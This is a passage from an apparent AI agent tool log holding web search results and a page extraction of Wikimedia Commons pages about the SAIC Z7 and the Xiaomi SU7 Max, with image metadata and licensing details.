Zhìnéng.\n\n#...\n\n5. File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons\n 🔗 https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg\n 📄 | | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 14 Pro Max |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| F-number | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time...", "filters": {"topic": "general"}, "query": "Shangjie Z7 OR 尚界Z7", "results": [{"index": 1, "title": "Category:SAIC Z7 - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:SAIC_Z7", "content": "Jump to content\n\n Wikimedia Commons\n\nSearch\n\n# Category:SAIC Z7\n\nHelp\n\n Category\n Discussion [t]\")\n\n Read\n Edit\n View history\n\nTools\n\nActions\n\n Read\n Edit\n View history\n\nGeneral\n\n What links here\n Related changes\n Permanent link\n Page information\n Get shortened URL\n\nPrint/export\n\n Create a book\n Download as PDF\n Printable version\n\nIn other projects\n\n Wikipedia\n Wikidata item\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\nSAIC Z7; Saic Z7; Saic Z7; SAIC Z7; 尚界Z7; mid-size sedan and shooting brake; Elektryczny samochód osobowy segmentu E\n\nSaic Z7 [...] SAIC Z7 005.jpg 3,666 × 2,749; 2.15 MB\n \n\n SAIC Z7 01 China 2026-04-19.jpg 1,300 × 737; 386 KB\n \n\n SAIC Z7 02 China 2026-04-19.jpg 1,300 × 532; 300 KB\n \n\n SAIC Z7 03 China 2026-04-19.jpg 1,300 × 716; 368 KB\n \n\n SAIC Z7 and Z7T 001.jpg 4,032 × 3,024; 2.71 MB\n \n\n SAIC Z7 MY2026 IMG01.jpg 3,714 × 2,786; 3.69 MB\n \n\n SAIC Z7 MY2026 IMG02.jpg 3,608 × 2,706; 3.52 MB\n \n\n SAIC Z7 MY2026 IMG03.jpg 2,285 × 1,714; 1.15 MB\n\nRetrieved from \"\"\n\nCategories:\n\n SAIC vehicles\n 2020s battery-powered automobiles\n\nNon-topical/index:\n\n Uses of Wikidata Infobox\n Uses of Wikidata Infobox with no image\n Uses of Wikidata Infobox missing Commons Category statement\n\nCategory:SAIC Z7\n\nAdd topic [...] Saic Z7\n\n| mid-size sedan and shooting brake |\n| Upload media |\n| Wikipedia |\n| Instance of | car model |\n| Subclass of | electric car |\n| Manufacturer | SAIC Motor |\n| | Authority file | | Wikidata Q137919999 | | Reasonator Scholia Wikidocumentaries PetScan statistics WikiMap Locator tool KML file Search depicted | |\n\n## Subcategories\n\nThis category has only the following subcategory.\n\n### T\n\n SAIC Z7T (8 F)\n\n## Media in category \"SAIC Z7\"\n\nThe following 12 files are in this category, out of 12 total.\n\n \n\n SAIC Z7 001.jpg 3,684 × 2,763; 2.32 MB\n \n\n SAIC Z7 002.jpg 3,827 × 2,870; 2.59 MB\n \n\n SAIC Z7 003.jpg 4,032 × 3,024; 2.49 MB\n \n\n SAIC Z7 004.jpg 3,843 × 2,882; 2.5 MB\n \n\n SAIC Z7 005.jpg 3,666 × 2,749; 2.15 MB", "score": 0.6033015, "published_date": ""}, {"index": 2, "title": "Category:SAIC Z7 — Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/Category:SAIC_Z7?uselang=uk", "content": "Wikimedia Commons\n\n# Category:SAIC Z7\n\nSAIC Z7\n\n| | |\n --- |\n| mid-size sedan and shooting brake | |\n| Завантажити медіафайл | |\n| Вікіпедія | |\n| Є одним із | модель автомобіля |\n| Є підкласом | електромобіль |\n| Виробник | Shanghai Automotive Industry Corporation |\n| | Нормативний контроль | | Вікідані Q137919999 | | Reasonator Scholia Wikidocumentaries PetScan статистика WikiMap Locator tool файл KML Шукати зображене | | | |\n| Редагувати дані картки у Вікіданих | |\n\n| Нормативний контроль |\n\n| Вікідані Q137919999 |\n| Reasonator Scholia Wikidocumentaries PetScan статистика WikiMap Locator tool файл KML Шукати зображене | |\n\nВікідані\nРедагувати дані картки у Вікіданих\n\n## Підкатегорії\n\nЦя категорія має тільки таку підкатегорію.\n\n### T [...] Ця категорія має тільки таку підкатегорію.\n\n### T\n\n## Файли в категорії «SAIC Z7»\n\nПоказано 12 файлів цієї категорії (із 12).\n\nWikimedia Foundation\nPowered by MediaWiki", "score": 0.5084226, "published_date": ""}, {"index": 3, "title": "File:2026 SAIC Z7T (front).jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:2026_SAIC_Z7T_(front).jpg", "content": "File information\n\nStructured data\n\n## Captions\n\n### Captions\n\nSilver Chinese shooting brake\n\n## Summary\n\n[edit.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n --- |\n| Description2026 SAIC Z7T (front).jpg | 中文:​一輛上汽尚界Z7T,拍攝於中國廣東省深圳市寶安區大灣區車展。 |\n| Date | |\n| Source | Own work |\n| Author | User3204 |\n\n## Licensing\n\n[edit.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\nw:en:Creative Commons \n attribution share alike\n\nThis file is licensed under the Creative Commons Attribution-Share Alike 4.0 International license.\n\n: You are free:\n\n to share – to copy, distribute and transmit the work\n to remix – to adapt the work\n: Under the following conditions: [...] You cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n Usage on en.wikipedia.org\n + List of HIMA vehicles\n + SAIC Z7\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong. [...] ## Structured data\n\n### Items portrayed in this file\n\n#### depicts\n\n#### Saic Z7\n\n#### copyright status\n\n#### copyrighted\n\n#### copyright license\n\n#### Creative Commons Attribution-ShareAlike 4.0 International\n\n#### inception\n\n#### 5 June 2026\n\n#### media type\n\n#### image/jpeg\n\n#### ISO speed\n\n#### 320\n\n#### exposure time\n\n#### 0.0083333333333333 second\n\n#### f-number\n\n#### 1.67\n\n#### focal length\n\n#### 6.62 millimetre\n\n#### instance of\n\n#### source of file\n\n#### original creation by uploader\n\nRetrieved from \"\"\n\nCategories:\n\n SAIC Z7T\n Greater Bay Area Auto Show 2026\n\nHidden categories:\n\n CC-BY-SA-4.0\n Self-published work\n Taken with Poco F8 Ultra\n\nFile:2026 SAIC Z7T (front).jpg\n\nAdd topic", "score": 0.45348024, "published_date": ""}, {"index": 4, "title": "User:Navigator84/gallery/China/HIMA - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/User:Navigator84/gallery/China/HIMA", "content": "Wikimedia Commons\n\n# User:Navigator84/gallery/China/HIMA\n\nHarmony Intelligent Mobility Alliance - 鸿蒙智能汽车技术生态联盟 - Hóngméng Zhìnéng Qìchē Jìshù Shēngtài Liánméng.\n\naka HIMA - 鸿蒙智行 - Hóngméng Zhìnéng.\n\n## Contents\n\n# Huawei - BAIC Blue Park ( 华为 北汽蓝谷 - Huáwéi Běiqì Lán Gǔ )\n\n## Stelato ( 享界 - Xiǎngjiè )\n\n### S9\n\nS9 EV\nS9 EV\n\n# Huawei - Chery ( 华为 奇瑞 - Huáwéi Qíruì )\n\n## Luxeed ( 智界 - Zhìjiè )\n\n### S7\n\nS7\n\n### V9\n\nV9\nV9\nV9\nV9\nV9\n\n# Huawei - SAIC ( 华为 上汽 - Huáwéi Shàngqì )\n\n## SAIC ( 尚界 - Shàngjiè )\n\n### Z7\n\nZ7\nZ7\nZ7\n\n#### Languages\n\nThis page is not available in other languages.\n\nWikimedia Commons\nWikimedia Foundation\nPowered by MediaWiki", "score": 0.45101276, "published_date": ""}, {"index": 5, "title": "File:SAIC Z7 MY2026 IMG01.jpg - Wikimedia Commons", "url": "https://commons.wikimedia.org/wiki/File:SAIC_Z7_MY2026_IMG01.jpg", "content": "| | |\n --- |\n| Camera manufacturer | Apple |\n| Camera model | iPhone 14 Pro Max |\n| Exposure time | 1/3,367 sec (0.0002970002970003) |\n| F-number | f/1.78 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 12:25, 13 July 2026 |\n| Lens focal length | 6.86 mm |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | 26.5 |\n| File change date and time | 12:25, 13 July 2026 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 12:25, 13 July 2026 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 11.717249456249 |\n| APEX aperture | 1.6637544825625 |\n| APEX brightness | 9.5423895899054 | [...] ## Structured data\n\n### Items portrayed in this file\n\n#### depicts\n\n#### Saic Z7\n\n#### inception\n\n#### 13 July 2026\n\n#### media type\n\n#### image/jpeg\n\n#### ISO speed\n\n#### 64\n\n#### exposure time\n\n#### 0.0002970002970003 second\n\n#### f-number\n\n#### 1.78\n\n#### focal length\n\n#### 6.86 millimetre\n\nWikimedia Foundation\nPowered by MediaWiki [...] | | Date/Time | Thumbnail | Dimensions | User | Comment |\n --- --- --- |\n| current | 07:01, 13 July 2026 | Thumbnail for version as of 07:01, 13 July 2026 | 3,714 × 2,786 (3.69 MB) | Poprace\") (talk | contribs) | Uploaded own work with UploadWizard |\n\nThumbnail for version as of 07:01, 13 July 2026\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThere are no pages that use this file.\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n## Metadata", "score": 0.2359352, "published_date": ""}], "total_results": 5}}, "tool_call_id": "tool_hkV7E8S9dyJsBzknfqz6KD78", "name": "web_search"}, {"role": "tool", "content": "提取完成:https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg,长度 15691 字符。\n```\n🌐 网页内容 (15504 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:Xiaomi SU7 Max.jpg\n\n* [File](/wiki/File:Xiaomi_SU7_Max.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_Max.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_Max.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_Max.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&oldid=1077969896 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_Max.jpg&id=1077969896&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_Max.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M152635407 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_Max.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 Max.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20240914205125)](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 1,038 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [250 × 270 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/250px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [500 × 541 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/500px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [1,920 × 2,076 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/1920px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [2,626 × 2,839 pixels](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail_unscaled).\n\n[Original file](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original \"Xiaomi SU7 Max.jpg\") (2,626 × 2,839 pixels, file size: 1.72 MB, MIME type: image/jpeg)\n\nFile information\n\nStructured data\n\n## Captions\n\n### Captions\n\nXiaomi SU7 car in Max configuration in Moscow\n\nАвтомобиль Xiaomi SU7 в комплектации Max в Москве\n\nАвтомобіль Xiaomi SU7 в комплектації Max в Москві\n\n## Summary\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=1 \"Edit section: Summary\")]\n\n| | |\n| --- | --- |\n| DescriptionXiaomi SU7 Max.jpg | **Русский:** Автомобиль Xiaomi SU7 в комплектации Max в Москве **English:** Xiaomi SU7 car in Max configuration in Moscow **Українська:** Автомобіль Xiaomi SU7 в комплектації Max в Москві |\n| Date | |\n| Source | Own work |\n| Author | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") |\n| Other versions | | | | | | --- | --- | --- | | [Image extraction process](/wiki/File:Extracted_image_icon.svg) | This image has an **extracted file**: [Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\"). | [lang=en](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"lang=en\") | |\n\n| | | | |\n| --- | --- | --- | --- |\n| Camera location | [55° 40′ 50.62″ N, 37° 32′ 18.59″ E](https://geohack.toolforge.org/geohack.php?pagename=File:Xiaomi_SU7_Max.jpg¶ms=055.680729_N_0037.538497_E_globe:Earth_type:camera__&language=en) [Kartographer map based on OpenStreetMap.](/wiki/Special:Map/13/55.680729/37.538497/en) | View this and other nearby images on: [OpenStreetMap](https://wikimap.toolforge.org/?wp=false&cluster=false&zoom=16&lat=055.680729&lon=0037.538497) | [info](/wiki/Commons:Geocoding \"Commons:Geocoding\") 55.680729; 37.538497 |\n\n## Licensing\n\n[[edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit§ion=2 \"Edit section: Licensing\")]\n\nI, the copyright holder of this work, hereby publish it under the following license:\n\n![w:en:Creative Commons](https://upload.wikimedia.org/wikipedia/commons/thumb/7/79/CC_some_rights_reserved.svg/120px-CC_some_rights_reserved.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) \n ![attribution](https://upload.wikimedia.org/wikipedia/commons/thumb/1/11/Cc-by_new_white.svg/40px-Cc-by_new_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail) ![share alike](https://upload.wikimedia.org/wikipedia/commons/thumb/d/df/Cc-sa_white.svg/40px-Cc-sa_white.svg.png?utm_source=commons.wikimedia.org&utm_campaign=parser&utm_content=thumbnail)\n\nThis file is licensed under the [Creative Commons](https://en.wikipedia.org/wiki/en:Creative_Commons \"w:en:Creative Commons\") [Attribution-Share Alike 4.0 International](//creativecommons.org/licenses/by-sa/4.0/deed.en \"creativecommons:by-sa/4.0/deed.en\") license.\n\n: You are free:\n\n * **to share** – to copy, distribute and transmit the work\n * **to remix** – to adapt the work\n: Under the following conditions:\n\n * **attribution** – You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n * **share alike** – If you remix, transform, or build upon the material, you must distribute your contributions under the [same or compatible license](https://creativecommons.org/share-your-work/licensing-considerations/compatible-licenses \"ccorg:share-your-work/licensing-considerations/compatible-licenses\") as the original.\n\nhttps://creativecommons.org/licenses/by-sa/4.0CC BY-SA 4.0 Creative Commons Attribution-Share Alike 4.0 truetrue\n\n## File history\n\nClick on a date/time to view the file as it appeared at that time.\n\n| Date/Time | Thumbnail | Dimensions | User | Comment |\n| --- | --- | --- | --- | --- |\n| current | [20:51, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original) | 2,626 × 2,839 (1.72 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | EXIF-данные сохранены |\n| [20:45, 14 September 2024](https://upload.wikimedia.org/wikipedia/commons/archive/8/8a/20240914205124%21Xiaomi_SU7_Max.jpg) | 2,626 × 2,839 (2.11 MB) | [Artur Random](/w/index.php?title=User:Artur_Random&action=edit&redlink=1 \"User:Artur Random (page does not exist)\") ([talk](/wiki/User_talk:Artur_Random \"User talk:Artur Random\") | [contribs](/wiki/Special:Contributions/Artur_Random \"Special:Contributions/Artur Random\")) | Uploaded own work with UploadWizard |\n\nYou cannot overwrite this file.\n\n## File usage on Commons\n\nThe following page uses this file:\n\n* [File:Xiaomi SU7 Max (resized).jpg](/wiki/File:Xiaomi_SU7_Max_(resized).jpg \"File:Xiaomi SU7 Max (resized).jpg\")\n\n## File usage on other wikis\n\nThe following other wikis use this file:\n\n* Usage on ru.wikipedia.org\n + [Xiaomi SU7](https://ru.wikipedia.org/wiki/Xiaomi_SU7)\n\n## Metadata\n\nThis file contains additional information such as Exif metadata which may have been added by the digital camera, scanner, or software program used to create or digitize it. If the file has been modified from its original state, some details such as the timestamp may not fully reflect those of the original file. The timestamp is only as accurate as the clock in the camera, and it may be completely wrong.\n\n| | |\n| --- | --- |\n| Camera manufacturer | [Apple](https://en.wikipedia.org/wiki/Apple_Inc. \"w:Apple Inc.\") |\n| Camera model | [iPhone 15 Pro](https://en.wikipedia.org/wiki/Special:Search?search=iPhone+15+Pro) |\n| Exposure time | 1/260 sec (0.0038461538461538) |\n| [F-number](https://en.wikipedia.org/wiki/F-number \"wikipedia:F-number\") | f/1.7799999713881 |\n| ISO speed rating | 64 |\n| Date and time of data generation | 10:32, 12 September 2024 |\n| Lens focal length | 6.7649998656528 mm |\n| Latitude | 55° 40′ 50.51″ N |\n| Longitude | 37° 32′ 18.66″ E |\n| Altitude | 196.444 meters above sea level |\n| Orientation | Normal |\n| Horizontal resolution | 72 dpi |\n| Vertical resolution | 72 dpi |\n| Software used | [17.6.1](https://en.wikipedia.org/wiki/Special:Search?search=17.6.1) |\n| File change date and time | 10:32, 12 September 2024 |\n| Y and C positioning | Centered |\n| Exposure Program | Normal program |\n| Exif version | 2.32 |\n| Date and time of digitizing | 10:32, 12 September 2024 |\n| Meaning of each component | 1. Y 2. Cb 3. Cr 4. does not exist |\n| APEX shutter speed | 8.0198020988068 |\n| APEX aperture | 1.6637544366005 |\n| APEX brightness | 4.9360978795329 |\n| APEX exposure bias | −1.1798210377594 |\n| Metering mode | Spot |\n| Flash | Flash did not fire, compulsory flash suppression |\n| DateTimeOriginal subseconds | 233 |\n| DateTimeDigitized subseconds | 233 |\n| Supported Flashpix version | 1 |\n| Color space | Uncalibrated |\n| Sensing method | One-chip color area sensor |\n| Scene type | A directly photographed image |\n| Exposure mode | Auto exposure |\n| White balance | Auto white balance |\n| Digital zoom ratio | 1.4264150943396 |\n| Focal length in 35 mm film | 69 mm |\n| Scene capture type | Standard |\n| GPS time (atomic clock) | 07:32 |\n| Speed unit | Kilometers per hour |\n| Speed of GPS receiver | 0 |\n| Reference for direction of image | True direction |\n| Direction of image | 8.2423343675853 |\n| Reference for bearing of destination | True direction |\n| Bearing of destination | 8.2423343675853 |\n| GPS date | 12 September 2024 |\n\n## Structured data\n\n### Items portrayed in this file\n\n#### [depicts](https://www.wikidata.org/wiki/Special:EntityPage/P180 \"d:Special:EntityPage/P180\")\n\n#### [Xiaomi SU7](https://www.wikidata.org/wiki/Special:EntityPage/Q123470261 \"d:Special:EntityPage/Q123470261\")\n\n#### [creator](https://www.wikidata.org/wiki/Special:EntityPage/P170 \"d:Special:EntityPage/P170\")\n\n#### some value\n\n[object of statement has role](https://www.wikidata.org/wiki/Special:EntityPage/P3831 \"d:Special:EntityPage/P3831\"): [photographer](https://www.wikidata.org/wiki/Special:EntityPage/Q33231 \"d:Special:EntityPage/Q33231\")\n\n[author name string](https://www.wikidata.org/wiki/Special:EntityPage/P2093 \"d:Special:EntityPage/P2093\"): Artur Random\n\n[Wikimedia username](https://www.wikidata.org/wiki/Special:EntityPage/P4174 \"d:Special:EntityPage/P4174\"): [Artur Random](https://meta.wikimedia.org/wiki/Special:CentralAuth/Artur%20Random)\n\n#### [copyright status](https://www.wikidata.org/wiki/Special:EntityPage/P6216 \"d:Special:EntityPage/P6216\")\n\n#### [copyrighted](https://www.wikidata.org/wiki/Special:EntityPage/Q50423863 \"d:Special:EntityPage/Q50423863\")\n\n#### [copyright license](https://www.wikidata.org/wiki/Special:EntityPage/P275 \"d:Special:EntityPage/P275\")\n\n#### [Creative Commons Attribution-ShareAlike 4.0 International](https://www.wikidata.org/wiki/Special:EntityPage/Q18199165 \"d:Special:EntityPage/Q18199165\")\n\n#### [inception](https://www.wikidata.org/wiki/Special:EntityPage/P571 \"d:Special:EntityPage/P571\")\n\n#### 12 September 2024\n\n#### [coordinates of the point of view](https://www.wikidata.org/wiki/Special:EntityPage/P1259 \"d:Special:EntityPage/P1259\")\n\n#### 55°40'50.624\"N, 37°32'18.589\"E\n\n#### [exposure time](https://www.wikidata.org/wiki/Special:EntityPage/P6757 \"d:Special:EntityPage/P6757\")\n\n#### 0.00384615384615384615 second\n\n#### [f-number](https://www.wikidata.org/wiki/Special:EntityPage/P6790 \"d:Special:EntityPage/P6790\")\n\n#### 1.77999997138806510359\n\n#### [focal length](https://www.wikidata.org/wiki/Special:EntityPage/P2151 \"d:Special:EntityPage/P2151\")\n\n#### 6.76499986565279307843 millimetre\n\n#### [ISO speed](https://www.wikidata.org/wiki/Special:EntityPage/P6789 \"d:Special:EntityPage/P6789\")\n\n#### [media type](https://www.wikidata.org/wiki/Special:EntityPage/P1163 \"d:Special:EntityPage/P1163\")\n\n#### [instance of](https://www.wikidata.org/wiki/Special:EntityPage/P31 \"d:Special:EntityPage/P31\")\n\n#### [source of file](https://www.wikidata.org/wiki/Special:EntityPage/P7482 \"d:Special:EntityPage/P7482\")\n\n#### [original creation by uploader](https://www.wikidata.org/wiki/Special:EntityPage/Q66458942 \"d:Special:EntityPage/Q66458942\")\n\nRetrieved from \"\"\n\n[Categories](/wiki/Special:MyLanguage/Commons:Categories \"Special:MyLanguage/Commons:Categories\"):\n\n* [Xiaomi SU7](/wiki/Category:Xiaomi_SU7 \"Category:Xiaomi SU7\")\n* [Number 075 on vehicle registration plates](/wiki/Category:Number_075_on_vehicle_registration_plates \"Category:Number 075 on vehicle registration plates\")\n* [Lomonosovsky District](/wiki/Category:Lomonosovsky_District \"Category:Lomonosovsky District\")\n* [Xiaomi automobiles in Moscow](/wiki/Category:Xiaomi_automobiles_in_Moscow \"Category:Xiaomi automobiles in Moscow\")\n\nHidden categories:\n\n* [Images with extracted images](/wiki/Category:Images_with_extracted_images \"Category:Images with extracted images\")\n* [Files with coordinates missing SDC location of creation](/wiki/Category:Files_with_coordinates_missing_SDC_location_of_creation \"Category:Files with coordinates missing SDC location of creation\")\n* [CC-BY-SA-4.0](/wiki/Category:CC-BY-SA-4.0 \"Category:CC-BY-SA-4.0\")\n* [Self-published work](/wiki/Category:Self-published_work \"Category:Self-published work\")\n\nFile:Xiaomi SU7 Max.jpg\n\n[Add topic](#)\n==================================================\n```", "timestamp": "2026-08-23T13:34:11.032790", "message_id": "msg_17479ee05b2a47c4856b9f4d5205c869", "metadata": {"tool_payload": {"success": true, "url": "https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg", "content": "🌐 网页内容 (15504 字符):\n📍 URL: https://commons.wikimedia.org/wiki/File:Xiaomi_SU7_Max.jpg\n==================================================\n[Jump to content](#bodyContent)\n\n[![](/static/images/icons/commonswiki.svg) ![Wikimedia Commons](/static/images/mobile/copyright/commonswiki-wordmark.svg)](/wiki/Main_Page)\n\n[Search](/wiki/Special:MediaSearch \"Search Wikimedia Commons [f]\")\n\n## Contents\n\n* [Beginning](#)\n* [1 File](#file)\n* [2 Summary](#Summary)\n* [3 Licensing](#Licensing)\n* [4 File history](#filehistory)\n* [5 File usage on Commons](#filelinks)\n* [6 File usage on other wikis](#globalusage)\n* [7 Metadata](#metadata)\n\n# File:Xiaomi SU7 Max.jpg\n\n* [File](/wiki/File:Xiaomi_SU7_Max.jpg \"View the file page [c]\")\n* [Discussion](/w/index.php?title=File_talk:Xiaomi_SU7_Max.jpg&action=edit&redlink=1 \"Discussion about the content page (page does not exist) [t]\")\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\n\n\nTools\n\nActions\n\n* [Read](/wiki/File:Xiaomi_SU7_Max.jpg)\n* [Edit](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=edit \"Edit this page [e]\")\n* [View history](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=history \"Past revisions of this page [h]\")\n\nGeneral\n\n* [What links here](/wiki/Special:WhatLinksHere/File:Xiaomi_SU7_Max.jpg \"A list of all wiki pages that link here [j]\")\n* [Related changes](/wiki/Special:RecentChangesLinked/File:Xiaomi_SU7_Max.jpg \"Recent changes in pages linked from this page [k]\")\n* [Permanent link](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&oldid=1077969896 \"Permanent link to this revision of this page\")\n* [Page information](/w/index.php?title=File:Xiaomi_SU7_Max.jpg&action=info \"More information about this page\")\n* [Cite this page](/w/index.php?title=Special:CiteThisPage&page=File%3AXiaomi_SU7_Max.jpg&id=1077969896&wpFormIdentifier=titleform \"Information on how to cite this page\")\n* [Get shortened URL](/w/index.php?title=Special:UrlShortener&url=https%3A%2F%2Fcommons.wikimedia.org%2Fwiki%2FFile%3AXiaomi_SU7_Max.jpg)\n* [Concept URI](https://commons.wikimedia.org/entity/M152635407 \"URI that identifies the concept described by this Item\")\n\nPrint/export\n\n* [Download as PDF](/w/index.php?title=Special:DownloadAsPdf&page=File%3AXiaomi_SU7_Max.jpg&action=show-download-screen)\n* [Printable version](javascript:print(); \"Printable version of this page [p]\")\n\nIn other projects\n\nAppearance\n\nFrom Wikimedia Commons, the free media repository\n\n[![File:Xiaomi SU7 Max.jpg](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail&_=20240914205125)](https://upload.wikimedia.org/wikipedia/commons/8/8a/Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=original)\n\nSize of this preview: [960 × 1,038 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/960px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail). Other resolutions: [250 × 270 pixels](https://upload.wikimedia.org/wikipedia/commons/thumb/8/8a/Xiaomi_SU7_Max.jpg/250px-Xiaomi_SU7_Max.jpg?utm_source=commons.wikimedia.org&utm_campaign=index&utm_content=thumbnail) | [500 × 541 